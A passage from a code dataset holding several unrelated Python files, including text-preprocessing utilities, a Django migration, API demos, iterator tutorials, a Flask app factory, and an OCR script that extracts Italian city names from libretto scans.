Pre_Pro(symbol)\n data['enc_inputs'] = data['inputs'].apply(lambda x: pre_pro.process_en(x))\n data['dec_inputs'] = data['targets'].apply(lambda x: pre_pro.process_zh(x, 'dec_in'))\n data['outputs'] = data['targets'].apply(lambda x: pre_pro.process_zh(x, 'org'))\n data['targets'] = data['targets'].apply(lambda x: pre_pro.process_zh(x, 'dec_out'))\n return data\n\n\ndef get_word2index(word_lists):\n from collections import Counter\n words_counter = Counter()\n word2index = {}\n word2index['PAD'] = 0\n word2index['UNK'] = 1\n for word_list in word_lists:\n for word in word_list:\n words_counter[word] += 1\n for i, (word, _) in enumerate(words_counter.most_common(len(words_counter))):\n word2index[word] = i + 2\n return word2index\n\n\ndef make_data(word_lists, max_length, word2index):\n x = np.zeros((len(word_lists), max_length), dtype=int)\n for i, word_list in enumerate(word_lists):\n for j, word in enumerate(word_list):\n if j == max_length:\n break\n x[i][j] = word2index.get(word, 1)\n return x\n\n\ndef get_sort_seq(enc_inputs, dec_inputs, targets, mode):\n seqs_len = []\n for seq in enc_inputs:\n seq_len = len(seq) - np.equal(seq, 0).sum()\n if seq_len > 0:\n seqs_len.append(seq_len)\n else:\n seqs_len.append(1)\n index = list(np.argsort(seqs_len)[::-1])\n seqs_len = sorted(seqs_len, reverse=True)\n\n X1, X2, y = [], [], []\n if mode == 'predict':\n for i, _ in enumerate(enc_inputs):\n X1.append(enc_inputs[index[i]])\n X2.append(dec_inputs[index[i]])\n else:\n for i, _ in enumerate(enc_inputs):\n X1.append(enc_inputs[index[i]])\n X2.append(dec_inputs[index[i]])\n y.append(targets[index[i]])\n return X1, seqs_len, X2, y", "sub_path": "机器翻译/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 3018, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "pickle.dump", "line_number": 14, "usage_type": "call"}, {"api_name": "pickle.HIGHEST_PROTOCOL", "line_number": 14, "usage_type": "attribute"}, {"api_name": "pickle.load", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 36, "usage_type": "call"}, {"api_name": "pandas.read_table", "line_number": 40, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.equal", "line_number": 79, "usage_type": "call"}, {"api_name": "numpy.argsort", "line_number": 84, "usage_type": "call"}]} +{"seq_id": "627316580", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('tomographic_db', '0003_tomoimages_imagename'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='tomoimages',\n name='imageUrl',\n field=models.ImageField(upload_to=b'JGR_figures'),\n ),\n ]\n", "sub_path": "tomographic_db/migrations/0004_auto_20150628_1648.py", "file_name": "0004_auto_20150628_1648.py", "file_ext": "py", "file_size_in_byte": 429, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "django.db.migrations.Migration", "line_number": 7, "usage_type": "attribute"}, {"api_name": "django.db.migrations", "line_number": 7, "usage_type": "name"}, {"api_name": "django.db.migrations.AlterField", "line_number": 14, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 14, "usage_type": "name"}, {"api_name": "django.db.models.ImageField", "line_number": 17, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 17, "usage_type": "name"}]} +{"seq_id": "69265729", "text": "#!/usr/bin/env python3\n\nimport configparser\nimport exceptions\nimport output as op\nimport os\n\nconfig_file = \"config.ini\"\nif os.path.exists(config_file):\n config = configparser.ConfigParser()\n config.read(config_file)\n\n SWING_API_KEY = config['keys']['swing_api_key']\n CURRENT_CAPITAL = float(config['account']['current_capital'])\n COMMISSION_COST = float(config['account']['commission_cost'])\n VERBOSITY = int(config['app']['verbosity'])\n WRITE_TO_FILE = True if config['app']['write_to_file'] == \"true\" else False\nelse:\n op.log_error(exceptions.DocumentError)", "sub_path": "config_loader.py", "file_name": "config_loader.py", "file_ext": "py", "file_size_in_byte": 583, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "os.path.exists", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path", "line_number": 9, "usage_type": "attribute"}, {"api_name": "configparser.ConfigParser", "line_number": 10, "usage_type": "call"}, {"api_name": "output.log_error", "line_number": 19, "usage_type": "call"}, {"api_name": "exceptions.DocumentError", "line_number": 19, "usage_type": "attribute"}]} +{"seq_id": "158545818", "text": "import json\nimport urllib\nfrom urllib import parse, request\n\n# Obtain an authentication ID/token pair from your\n# SmartyStreets account and put them in below.\n\nLOCATION = 'https://api.smartystreets.com/street-address'\nQUERY_STRING = urllib.parse.urlencode({ # entire query sting must be URL-encoded\n 'auth-id': r'YOUR-AUTH-ID',\n 'auth-token': r'YOUR-AUTH-TOKEN',\n 'street': '1 infinite loop',\n 'city': 'cupertino',\n 'state': 'ca',\n 'zipcode': '95014',\n 'candidates': '1'\n})\nURL = LOCATION + '?' + QUERY_STRING\n\n# Perform request, read result, and load from string into Python object\nresponse = urllib.request.urlopen(URL).read()\nresults = json.loads(response.decode('utf-8'))\n\n# Pretty print for demo purposes\npretty = json.dumps(results, sort_keys=True, indent=4)\nprint(pretty)\n\n# Then, to use the results in Python, very easy... for example:\nprint(results[0]['delivery_line_1'])", "sub_path": "python/street-address-python3.py", "file_name": "street-address-python3.py", "file_ext": "py", "file_size_in_byte": 895, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "urllib.parse.urlencode", "line_number": 9, "usage_type": "call"}, {"api_name": "urllib.parse", "line_number": 9, "usage_type": "attribute"}, {"api_name": "urllib.request.urlopen", "line_number": 21, "usage_type": "call"}, {"api_name": "urllib.request", "line_number": 21, "usage_type": "attribute"}, {"api_name": "json.loads", "line_number": 22, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 25, "usage_type": "call"}]} +{"seq_id": "200995080", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n'''\n@File : january13.py\n@Author: lee\n@Date : 2020/1/7 6:42\n@Desc : \n'''\n# int\nprint(int('0b100', base=2))\n# float\nprint(float('1e+9'))\nprint(float('1e-6'))\na = 1.2e-4\nprint(\"%.5f\" % a)\nprint(\"{:.5f}\".format(a))\nprint(round(a, 5))\n# 判断字符串是否是可迭代对象\nfrom collections import Iterable, Iterator\n\nb = '你好'\nprint(isinstance(b, Iterable)) # False\nprint(hasattr(str, '__iter__'))\nmyList = [11, 10, 1, 2, 9, 3, 8, 4, 5, ]\nobj = reversed(myList)\nprint(hasattr(obj, '__next__')) # True\n# 生成器应用\nprint((i for i in range(10)))\n\n\ndef gen_obj(lst):\n for i in lst:\n a = yield i\n print(\"a is %s\" % a)\n\n\ng = gen_obj(myList)\n# print(next(g))\ng.__next__()\ng.send(100)\n\n\n# 序列协议\nclass Book:\n def __init__(self):\n self.book = [\"红楼梦\", \"西游记\", \"金瓶梅\"]\n\n def __getitem__(self, item):\n print(\"start Book-getitem func\")\n return self.book[item]\n\n\nb = Book()\nfor i in b:\n print(i)\nprint(b[2]) # 金瓶梅\n\n\nclass Person:\n def __init__(self):\n self.msg = {\"name\": \"lee\", \"age\": 24}\n\n def __iter__(self):\n for i in self.msg.items():\n yield i\n\n def __getitem__(self, item):\n print(\"start Person-getitem func\")\n return self.msg[item]\n\n\np = Person()\nfor i in p:\n print(i)\nprint(p[\"name\"])\n\n\n# 迭代器实现可迭代对象\nclass MyIterator(Iterator):\n def __init__(self, lst):\n self.lst = lst\n self.index = 0\n\n def __next__(self):\n if self.index == len(self.lst):\n raise StopIteration\n city = self.lst[self.index]\n self.index += 1\n return self.getCityMsg(city)\n\n def getCityMsg(self, city):\n msg = \"该%s的信息是....\" % city\n return msg\n\n\nclass MyIterable(Iterable):\n def __init__(self, lst):\n self.iterator = MyIterator(lst)\n\n def __iter__(self):\n return self.iterator\n\n\niterable = MyIterable([\"北京\", \"上海\", \"济南\"])\nfor i in iterable:\n print(i)\n\n\n# 生成器实现可迭代对象\nclass MyGenerator:\n def __init__(self, lst):\n self.lst = lst\n\n def __iter__(self):\n for i in self.lst:\n yield self.getCityMsg(i)\n\n def getCityMsg(self, city):\n msg = \"该%s信息是....\" % city\n return msg\n\n\nmy_generator = MyGenerator([\"上海\", \"济南\", \"北京\"])\nfor i in my_generator:\n print(i)\n\n\n# 生成器斐波那契数列\n\ndef fib(max):\n n, a, b = 0, 0, 1\n while n < max:\n yield b\n a, b = b, a + b\n n += 1\n return 'done'\n\n\nfor i in fib(10):\n print(i)\n\nf = fib(6)\nwhile True:\n try:\n value = next(f)\n print(value)\n except StopIteration as e:\n print(e.value)\n break\n", "sub_path": "lines_per_day/january13.py", "file_name": "january13.py", "file_ext": "py", "file_size_in_byte": 2762, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "collections.Iterable", "line_number": 22, "usage_type": "argument"}, {"api_name": "collections.Iterator", "line_number": 79, "usage_type": "name"}, {"api_name": "collections.Iterable", "line_number": 96, "usage_type": "name"}]} +{"seq_id": "455157673", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"Custom logging configuration.\"\"\"\n\n# @Time : 9/22/2017 6:42 PM\n# @Author : Xuesong Wu\n# @Site : \n# @File : log_config.py\n# @Software: PyCharm Community Edition\n\nimport logging.config\n\n\ndef log_config():\n \"\"\"\n Config log with dict\n Returns: None\n\n \"\"\"\n log_config_dict = {\n 'version': 1,\n 'disable_existing_loggers': False,\n 'formatters': {\n 'simple': {\n 'format': '%(asctime)-15s, %(levelname)s, %(name)s, %(lineno)d, %(process)d, %(message)s',\n 'datefmt': '%a %d %b %Y %H:%M:%S'\n },\n },\n 'handlers': {\n 'console': {\n 'class': 'logging.StreamHandler',\n 'level': 'DEBUG',\n 'formatter': 'simple',\n 'stream': 'ext://sys.stdout'\n },\n 'info_file_handler': {\n 'class': 'logging.FileHandler',\n 'level': 'INFO',\n 'formatter': 'simple',\n 'filename': 'info.log',\n 'encoding': 'utf8',\n 'mode': 'w'\n }\n },\n 'loggers': {\n 'root': {\n 'level': 'INFO',\n 'handlers': ['console', 'info_file_handler'],\n 'propagate': False\n }\n }\n }\n logging.config.dictConfig(log_config_dict)\n return None\n", "sub_path": "common/log_config.py", "file_name": "log_config.py", "file_ext": "py", "file_size_in_byte": 1422, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "logging.config.config.dictConfig", "line_number": 54, "usage_type": "call"}, {"api_name": "logging.config.config", "line_number": 54, "usage_type": "attribute"}, {"api_name": "logging.config", "line_number": 54, "usage_type": "name"}]} +{"seq_id": "609850188", "text": "import hashlib\nimport unittest\n\nfrom sailthru.utils import flatten_dictionary, extract_values, make_signature_hash\n\n\nclass UtilsTests(unittest.TestCase):\n\n def setUp(self):\n self.secret = 'some totally super secret string'\n self.test_dict = {\n 'Linux Distros': {\n 'Ubuntu': {\n 'Quantal Quetzal': '12.10',\n 'Raring Ringtail': '13.04',\n 'Saucy Salamander': '13.10',\n 'Trusty Tahr': '14.04',\n 'Utopic Unicorn': '14.10',\n },\n 'Linux Mint': {\n 'Maya': '13',\n 'Nadia': '14',\n 'Olivia': '15',\n 'Petra': '16',\n 'Qiana': '17',\n },\n },\n 'OS X Versions': {\n 'Yosemite': '10.10',\n 'Mavericks': '10.9',\n 'Mountain Lion': '10.8',\n 'Lion': '10.7',\n 'Snow Leopard': '10.6',\n }\n }\n\n def test_flatten_dictionary(self):\n expected = {\n 'Linux DistrosUbuntuQuantal Quetzal': '12.10',\n 'Linux DistrosUbuntuRaring Ringtail': '13.04',\n 'Linux DistrosUbuntuSaucy Salamander': '13.10',\n 'Linux DistrosUbuntuTrusty Tahr': '14.04',\n 'Linux DistrosUbuntuUtopic Unicorn': '14.10',\n 'Linux DistrosLinux MintMaya': '13',\n 'Linux DistrosLinux MintNadia': '14',\n 'Linux DistrosLinux MintOlivia': '15',\n 'Linux DistrosLinux MintPetra': '16',\n 'Linux DistrosLinux MintQiana': '17',\n 'OS X VersionsYosemite': '10.10',\n 'OS X VersionsMavericks': '10.9',\n 'OS X VersionsMountain Lion': '10.8',\n 'OS X VersionsLion': '10.7',\n 'OS X VersionsSnow Leopard': '10.6',\n }\n output = flatten_dictionary(self.test_dict)\n self.assertEqual(expected, output)\n\n def test_extract_values(self):\n expected = sorted([\n '12.10', '13.04', '13.10', '14.04', '14.10', '13', '14', '15', '16', '17', '10.10', '10.9', '10.8',\n '10.7', '10.6'\n ])\n output = sorted(extract_values(self.test_dict))\n self.assertEqual(expected, output)\n\n def test_make_signature_hash(self):\n strings = sorted([\n str(value) for value in extract_values(self.test_dict)\n ])\n string = str(self.secret) + ''.join(strings)\n encoded = bytearray(string, encoding='utf8')\n expected = hashlib.md5(encoded).hexdigest()\n output = make_signature_hash(self.test_dict, self.secret)\n self.assertEqual(expected, output)\n\n\nif __name__ == '__main__':\n unittest.main()\n", "sub_path": "tests.py", "file_name": "tests.py", "file_ext": "py", "file_size_in_byte": 2771, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "unittest.TestCase", "line_number": 7, "usage_type": "attribute"}, {"api_name": "sailthru.utils.flatten_dictionary", "line_number": 55, "usage_type": "call"}, {"api_name": "sailthru.utils.extract_values", "line_number": 63, "usage_type": "call"}, {"api_name": "sailthru.utils.extract_values", "line_number": 68, "usage_type": "call"}, {"api_name": "hashlib.md5", "line_number": 72, "usage_type": "call"}, {"api_name": "sailthru.utils.make_signature_hash", "line_number": 73, "usage_type": "call"}, {"api_name": "unittest.main", "line_number": 78, "usage_type": "call"}]} +{"seq_id": "81179397", "text": "from flask import Flask\nfrom app.models import db, User, Product, Thumbnail, Picture, Post, PostPicture, Image\nfrom flask_bcrypt import Bcrypt\nfrom flask_login import LoginManager\n\nbcrypt = Bcrypt()\nlogin_manager = LoginManager()\n\ndef create_app(config_filename='config.py'):\n app = Flask(__name__)\n app.config.from_pyfile(config_filename)\n db.init_app(app)\n bcrypt.init_app(app)\n login_manager.init_app(app)\n with app.app_context():\n db.create_all()\n from app.on_init_utils import on_init_utils\n delete_unused_images, save_images, generate_static_pngs, delete_all_images = on_init_utils(app)\n with app.app_context():\n if app.config['SAVE_IMAGES']:\n delete_unused_images()\n save_images()\n generate_static_pngs()\n else:\n delete_all_images()\n with app.app_context():\n from app.routes import app_routes\n app.register_blueprint(app_routes)\n\n return app\n\n\n", "sub_path": "app/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 963, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "flask_bcrypt.Bcrypt", "line_number": 6, "usage_type": "call"}, {"api_name": "flask_login.LoginManager", "line_number": 7, "usage_type": "call"}, {"api_name": "app.models", "line_number": 10, "usage_type": "name"}, {"api_name": "flask.Flask", "line_number": 10, "usage_type": "call"}, {"api_name": "app.models.config.from_pyfile", "line_number": 11, "usage_type": "call"}, {"api_name": "app.models.config", "line_number": 11, "usage_type": "attribute"}, {"api_name": "app.models", "line_number": 11, "usage_type": "name"}, {"api_name": "app.models.db.init_app", "line_number": 12, "usage_type": "call"}, {"api_name": "app.models", "line_number": 12, "usage_type": "argument"}, {"api_name": "app.models.db", "line_number": 12, "usage_type": "name"}, {"api_name": "app.models", "line_number": 13, "usage_type": "argument"}, {"api_name": "app.models", "line_number": 14, "usage_type": "argument"}, {"api_name": "app.models.app_context", "line_number": 15, "usage_type": "call"}, {"api_name": "app.models", "line_number": 15, "usage_type": "name"}, {"api_name": "app.models.db.create_all", "line_number": 16, "usage_type": "call"}, {"api_name": "app.models.db", "line_number": 16, "usage_type": "name"}, {"api_name": "app.on_init_utils.on_init_utils", "line_number": 18, "usage_type": "call"}, {"api_name": "app.models", "line_number": 18, "usage_type": "argument"}, {"api_name": "app.models.app_context", "line_number": 19, "usage_type": "call"}, {"api_name": "app.models", "line_number": 19, "usage_type": "name"}, {"api_name": "app.models.config", "line_number": 20, "usage_type": "attribute"}, {"api_name": "app.models", "line_number": 20, "usage_type": "name"}, {"api_name": "app.models.app_context", "line_number": 26, "usage_type": "call"}, {"api_name": "app.models", "line_number": 26, "usage_type": "name"}, {"api_name": "app.models.register_blueprint", "line_number": 28, "usage_type": "call"}, {"api_name": "app.routes.app_routes", "line_number": 28, "usage_type": "argument"}, {"api_name": "app.models", "line_number": 28, "usage_type": "name"}, {"api_name": "app.models", "line_number": 30, "usage_type": "name"}]} +{"seq_id": "354106822", "text": "import cv2\n\n#画像サイズ　デフォルト\nimg_w = 749\nimg_h = 559\n\nprint(\"\"\"\n画像サイズは変更しますか\nYes = 1, No = 0\"\"\")\nCheck_resize = int(input())\n\n\n#動画作成の自作関数\ndef Make_Mov_from_imgs(img_w, img_h):\n fourcc = cv2.VideoWriter_fourcc('m','p','4','v')\n video = cv2.VideoWriter('_US_img_1-1000_{}_{}.mp4'.format(img_w, img_h), fourcc, 20.0, (img_w, img_h))\n\n \n for i in range(1, 1001):\n img = cv2.imread('_US_img_1-1000_749_559/pic_ ({}).png'.format(i))\n\n #変更する場合、リサイズ\n if Check_resize != 0:\n img = cv2.resize(img, (img_w, img_h))\n video.write(img)\n video.release() \n\n\n#サイズ変更しない\nif Check_resize == 0:\n Make_Mov_from_imgs(img_w, img_h)\nelse:#サイズ変更する\n print(\"画像の幅と高さを入力してください\")\n x = input(\"画像の幅　 = \")\n y = input(\"画像の高さ = \")\n Make_Mov_from_imgs(int(x), int(y))\n \n", "sub_path": "_1_make_mov_from_imgs.py", "file_name": "_1_make_mov_from_imgs.py", "file_ext": "py", "file_size_in_byte": 969, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "cv2.VideoWriter_fourcc", "line_number": 15, "usage_type": "call"}, {"api_name": "cv2.VideoWriter", "line_number": 16, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 20, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 24, "usage_type": "call"}]} +{"seq_id": "402276308", "text": "from texttable import Texttable\r\ndef pembayaran2():\r\n table= Texttable ()\r\n jawab1 = \"y\"\r\n no=0\r\n name=[]\r\n nim=[]\r\n kelas=[]\r\n membayar_semester=[]\r\n membayar_seminar=[]\r\n membayar_kas=[]\r\n membayar_uts=[]\r\n membayar_uas=[]\r\n admin=[]\r\n \r\n \r\n print (\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\")\r\n print ( \"JALUR PEMBAYARAN UAS & UTS \" )\r\n print (\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\") \r\n \r\n while(jawab1 == \"y\"):\r\n nama=(input(\"Masukan Nama : \"))\r\n nim=(input(\"Masukan NIM : \"))\r\n kelas=(input(\"Masukan Kelas: \"))\r\n pilih = (input(\"Apakah anda ingin membayar semester (y/t) ? \"))\r\n if pilih == 'y':\r\n membayar_semester =int(input(\"untuk berapa bulan ? \"))\r\n d_membayar_semester = 'membayar_SEMESTER'\r\n membayar_semester=550000*membayar_semester\r\n else :\r\n sem_ = ''\r\n sem=0 \r\n pilih = (input(\"ingin membayar UTS (y/t) ? \"))\r\n if pilih == 'y':\r\n membayar_uts =int(input(\"untuk berapa bulan ? \"))\r\n d_membayar_uts = 'membayar_UTS'\r\n membayar_uts=300000*membayar_uts\r\n else :\r\n membayar_uts_ = ''\r\n membayar_uts=0 \r\n pilih = (input(\"ingin membayar UAS (y/t) ? \"))\r\n if pilih == 'y':\r\n membayar_uas =int(input(\"untuk berapa bulan ? \"))\r\n d_membayar_uas = 'membayar_UAS'\r\n membayar_uas=200000*membayar_uas\r\n else :\r\n membayar_uas_ = ''\r\n membayar_uas=0 \r\n pilih = (input(\"ingin membayar seminar sebesar 150000 (y/t) ? \"))\r\n if pilih == 'y':\r\n membayar_seminar = 'membayar_seminar'\r\n membayar_seminar=150000\r\n else :\r\n membayar_seminar = ''\r\n membayar_seminar=0\r\n pilih = (input(\"ingin bayar KAS Bulanan sebesar 25000 (y/t) ? \"))\r\n if pilih == 'y':\r\n membayar_kas = 'membayar_KAS'\r\n membayar_kas=25000\r\n else :\r\n membayar_kas = ''\r\n membayar_kas=0\r\n pilih = (input(\"Anda akan dikenakan admin sebesar 10000 (y/t) ? \"))\r\n if pilih == 'y':\r\n admin = 'ADMIN'\r\n admin=10000\r\n else :\r\n admin = ''\r\n admin=0\r\n\r\n total_bayar = membayar_semester+membayar_seminar+membayar_kas+membayar_uts+membayar_uas+admin\r\n table.add_rows([['NAMA','NIM','KELAS','SEMESTER','SEMINAR','KAS','UTS','UAS','TOTAL'],\r\n [nama ,nim ,kelas ,membayar_semester , membayar_seminar , membayar_kas , membayar_uts , membayar_uas,total_bayar ]])\r\n print(\"\")\r\n print(\"\")\r\n print(\"\")\r\n print(\"Total Rincian Yang Dibayar\") \r\n print (table.draw())\r\n jawab1 = input(\"\\n Tambahkan Data Pembayaran (y/t)? \") ; print(\"\")\r\n", "sub_path": "Pembayaran.py", "file_name": "Pembayaran.py", "file_ext": "py", "file_size_in_byte": 2886, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "texttable.Texttable", "line_number": 3, "usage_type": "call"}]} +{"seq_id": "535645953", "text": "import shutil\nimport requests\nimport pandas as pd\nfrom PIL import Image\nimport io\nimport pytesseract\nimport os\nimport json\nimport geopy\nimport geonamescache\nimport unicodedata as ud\nimport string as strMod\nfrom difflib import SequenceMatcher\n\ndef similar(a, b):\n return SequenceMatcher(None, a, b).ratio()\n\ndef isAllNum(string):\n numb=''\n for el in string:\n if el.isdigit():\n numb+=el\n if len(numb)>0:\n return int(numb)\n else: return string\n\n\n\ndef makeNumeric(element):\n if type(element) == int:\n return element\n if type(element) == list:\n return isAllNum(element[0])\n if type(element) == str:\n return isAllNum(element)\n\n\nlatin_letters= {}\ndef is_latin(uchr):\n try: return latin_letters[uchr]\n except KeyError:\n return latin_letters.setdefault(uchr, 'LATIN' in ud.name(uchr))\n\ndef only_roman_chars(unistr):\n return all(is_latin(uchr)\n for uchr in unistr\n if uchr.isalpha())\ndef notAllUpper(string):\n for el in string:\n if el.isupper():\n pass\n else: return True\n\ndef dealWithPunctuation(text):\n punc = strMod.punctuation\n punc +='’'\n\n string = [el if el not in punc else ' '+el+' ' for el in text]\n return ''.join(string)\n\n# Functions to extract entities from the text\ndef findYearTitle(jsonData):\n metaData = jsonData['metadata']\n title = 'no_title'\n year = 'no_year'\n for el in metaData:\n if el['label'] == 'title':\n title = el['value']\n if el['label'] == 'date_year_start':\n year = el['value']\n\n return title, year\n\ndef getSplitText(urlPage):\n # get text with teseract\n response = requests.get(urlPage, stream=True)\n in_memory_file = io.BytesIO(response.content)\n text = pytesseract.image_to_string(Image.open(in_memory_file))\n text = dealWithPunctuation(text)\n textSplit = text.split()\n # textSplit = [word for word in textSplit if len(word)>2]\n return textSplit\n\ndef getPotCityName(textSplit):\n pot_city_name = []\n for word in textSplit:\n for city in italianCitiesList:\n #if similar(city.lower(), word.lower())>0.9:\n if city.lower() == word.lower():\n pot_city_name.append(city.lower())\n return pot_city_name\n\n# To compile a list of all cities\ndef cityDic():\n city = geonamescache.GeonamesCache().get_cities()\n citiyDic = {}\n cityList = []\n n=0\n for key in city:\n if city[key]['countrycode'] == 'IT' and city[key]['population']> 20000:\n if len(city[key]['alternatenames'][0]) != 0:\n validCityNames = [city[key]['name'].lower()] + [name.lower() for name in city[key]['alternatenames'] if only_roman_chars(name) and notAllUpper(name) and len(name)>3]\n cityList += validCityNames\n for name in validCityNames:\n citiyDic[name] = city[key]\n\n else:\n cityList+=[city[key]['name'].lower()]\n citiyDic[city[key]['name'].lower()] = city[key]\n\n n+=1\n\n cityFilter = ['regio', 'marino', 'come', 'bra', 'ramma']\n cityList = list(filter(lambda a: a not in cityFilter, cityList))\n cityList = list(set(cityList))\n print(len(cityList))\n return citiyDic, cityList\n\n\n\n#change path according to need\ninPath = '/home/nulpe/Desktop/foundations_dh/fdh_manifests/'\noutPath = '/home/nulpe/Desktop/foundations_dh/data/'\ncolumns =['file_name', 'title', 'date', 'coperta', 'pot_city_name', 'city_name', 'latitude', 'longitude']\ndf_librettos = pd.DataFrame(columns= columns)\n\n\nitalianCities, italianCitiesList = cityDic()\n\n\n\n\n\npotCityMatches = 0\n\nfor idx, filename in enumerate(os.listdir(inPath)):\n tempList = []\n\n if filename.endswith(\".json\"):\n tempList.append(filename)\n with open(inPath+filename) as jsonFile:\n jsonData = json.load(jsonFile)\n title, year = findYearTitle(jsonData)\n tempList.append(title)\n tempList.append(makeNumeric(year))\n front_page = []\n pot_city_name = []\n\n pagesData = jsonData['sequences'][0]['canvases']\n page = 0\n\n\n #Only look at the coperte\n i=0\n coperta = True\n\n\n #get text from coperte\n while coperta:\n try:\n el = pagesData[i]\n i += 1\n\n imageApi = el['images'][0]['resource']['service']['@id']\n urlPage = imageApi+'/full/,512/0/default.jpg'\n\n #get text with teseract & potential city name\n textSplit = getSplitText(urlPage)\n front_page += textSplit\n pot_city_name = getPotCityName(textSplit)\n coperta_appended = 0\n\n if 'coperta' not in pagesData[i]['label']:\n coperta = False\n except:\n print('page missing')\n break\n\n\n\n if len(front_page) <30:\n while len(front_page) < 100:\n try:\n el = pagesData[i]\n i += 1\n imageApi = el['images'][0]['resource']['service']['@id']\n urlPage = imageApi + '/full/,512/0/default.jpg'\n\n # get text with teseract\n textSplit = getSplitText(urlPage)\n front_page += textSplit\n pot_city_name += getPotCityName(textSplit)\n coperta_appended = 1\n except:\n print('page missing')\n break\n\n\n\n\n\n\n tempList.append(front_page)\n tempList.append(pot_city_name)\n \n\n #Get location of first mentioned city\n if len(pot_city_name) != 0:\n tempList.append(italianCities[pot_city_name[0]]['name'])\n tempList.append(italianCities[pot_city_name[0]]['latitude'])\n tempList.append(italianCities[pot_city_name[0]]['longitude'])\n else:\n tempList.append(0)\n tempList.append(0)\n tempList.append(0)\n\n if len(pot_city_name) != 0:\n potCityMatches+=1\n\n\n df_librettos.loc[len(df_librettos)] =tempList\n\n print('we are at ', idx + 1, 'of in total', len(os.listdir(inPath)), 'librettos. We have', potCityMatches/(idx + 1)*100, '% city matches')\n\n if (idx+1) % 10 == 0:\n print(df_librettos)\n df_librettos.columns = columnas\n df_librettos.to_pickle(outPath+'librettos_1.pkl')\n df_librettos.to_csv(outPath+'librettos_1.csv', index=False, sep='\\t', header=True)\n\n\n\n\n\n\n\n\n\n\n", "sub_path": "02_place_extraction.py", "file_name": "02_place_extraction.py", "file_ext": "py", "file_size_in_byte": 6841, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "difflib.SequenceMatcher", "line_number": 16, "usage_type": "call"}, {"api_name": "unicodedata.name", "line_number": 42, "usage_type": "call"}, {"api_name": "string.punctuation", "line_number": 55, "usage_type": "attribute"}, {"api_name": "requests.get", "line_number": 76, "usage_type": "call"}, {"api_name": "io.BytesIO", "line_number": 77, "usage_type": "call"}, {"api_name": "pytesseract.image_to_string", "line_number": 78, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 78, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 78, "usage_type": "name"}, {"api_name": "geonamescache.GeonamesCache", "line_number": 95, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 125, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 136, "usage_type": "call"}, {"api_name": "json.load", "line_number": 142, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 223, "usage_type": "call"}]} +{"seq_id": "215432780", "text": "import time\nfrom sklearn.cross_validation import train_test_split\n\nfrom ..utils import print_status_message, fit_transforms, apply_transforms, predict_score\n\n\ndef train_model(X, y, model, library, metric, transforms, eval=False, plot_eval_history=False,\n early_stopping=False, early_stopping_rounds=None, verbose=False, logger=None):\n \"\"\"\n Trains a new model using the provided training data.\n\n Parameters\n ----------\n X : array-like\n Training input samples.\n\n y : array-like\n Target values.\n\n model : object\n An object in memory that represents a model definition.\n\n library : {'sklearn', 'xgboost', 'keras'}\n The source library of the model. Supports more than just scikit-learn models, however\n since model APIs can vary there may be different features/capabilities available depending\n on which library is used.\n\n metric : {'accuracy', 'f1', 'log_loss', 'mean_absolute_error', 'mean_squared_error', 'r2', 'roc_auc'}\n Scoring metric.\n\n transforms : array-like\n List of objects with a transform function that accepts one parameter.\n\n eval : boolean, optional, default False\n Evaluate model on a hold-out set during training.\n\n plot_eval_history : boolean, optional, default False\n Plot model performance as a function of training time. Eval must be enabled.\n\n early_stopping : boolean, optional, default False\n Stop training the model when performance on a validation set begins to drop. Eval must be enabled.\n\n early_stopping_rounds : int, optional, default None\n Number of training iterations to allow before stopping training due to performance on a validation set.\n Eval and early_stopping must be enabled.\n\n verbose : boolean, optional, default False\n Prints status messages to the console if enabled.\n\n logger : object, optional, default None\n Instance of a class that can log messages to an output file.\n\n Returns\n ----------\n model : object\n An object in memory that represents a fitted model.\n\n training_history : 